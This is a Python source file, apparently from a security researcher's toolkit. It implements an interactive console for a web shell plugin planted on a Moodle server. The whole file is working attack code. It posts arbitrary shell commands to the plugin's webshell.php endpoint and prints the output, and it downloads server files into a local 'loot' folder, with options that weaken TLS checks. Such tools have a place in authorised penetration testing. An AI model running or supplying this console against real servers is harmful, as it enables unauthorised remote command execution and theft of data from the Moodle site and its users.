#!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : console.py # Author : Podalirius (@podalirius_) # Date created : 21 May 2022 import argparse import os import readline import requests import json class CommandCompleter(object): def __init__(self): self.options = { "help": [], "download": [], "exit": [] } def complete(self, text, state): if state == 0: if len(text) == 0: self.matches = [s for s in self.options.keys()] elif len(text) != 0: self.matches = [s for s in self.options.keys() if s and s.startswith(text)] try: return self.matches[state] + " " except IndexError: return None readline.set_completer(CommandCompleter().complete) readline.parse_and_bind('tab: complete') readline.set_completer_delims('\n') def parseArgs(): parser = argparse.ArgumentParser(description="Interactive console for Moodle webshell plugin") parser.add_argument("-t", "--target", default=None, required=True, help='Moodle target instance') parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)") parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') return parser.parse_args() def remote_exec(target, cmd, verbose=False): try: r = requests.post( "%s/local/moodle_webshell/webshell.php" % target, data={ "action": "exec", "cmd": cmd, } ) if r.status_code == 200: data = r.json() if verbose: print(json.dumps(data, indent=4)) if len(data["stdout"].strip()) != 0: print(data["stdout"].strip()) if len(data["stderr"].strip()) != 0: for line in data["stderr"].strip().split('\n'): print("\x1b[91m%s\x1b[0m" % line) except Exception as e: print(e) def remote_download(target, remote_path, local_path="./loot/"): def b_filesize(content): l = len(content) units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB'] for k in range(len(units)): if l < (1024 ** (k + 1)): break return "%4.2f %s" % (round(l / (1024 ** k), 2), units[k]) # r = requests.post( "%s/local/moodle_webshell/webshell.php" % target, data={ "action": "download", "path": remote_path, } ) if r.status_code == 200: print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path)) dir = local_path + os.path.dirname(remote_path) if not os.path.exists(dir): os.makedirs(dir, exist_ok=True) f = open(local_path + remote_path, "wb") f.write(r.content) f.close() return True else: print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", remote_path)) return False def show_help(): print(" - %-15s %s " % ("download", "Downloads a file from the remote server.")) print(" - %-15s %s " % ("help", "Displays this help message.")) print(" - %-15s %s " % ("exit", "Exits the script.")) return if __name__ == '__main__': options = parseArgs() if not options.target.startswith("https://") and not options.target.startswith("http://"): options.target = "http://" + options.target if options.insecure_tls: # Disable warings of insecure connection for invalid cerificates requests.packages.urllib3.disable_warnings() # Allow use of deprecated and weak cipher methods requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' try: requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' except AttributeError: pass running = True while running: cmd = input("[webshell]> ").strip() args = cmd.lower().split(" ") if args[0] == "exit": running = False elif args[0] == "help": show_help() elif args[0] == "download": if len(args) != 2 and len(args) != 3: print("Usage: download [localpath]") elif len(args) == 2: remote_download(options.target, remote_path=args[1]) elif len(args) == 3: remote_download(options.target, remote_path=args[1], local_path=args[2]) else: remote_exec(options.target, cmd, verbose=options.verbose)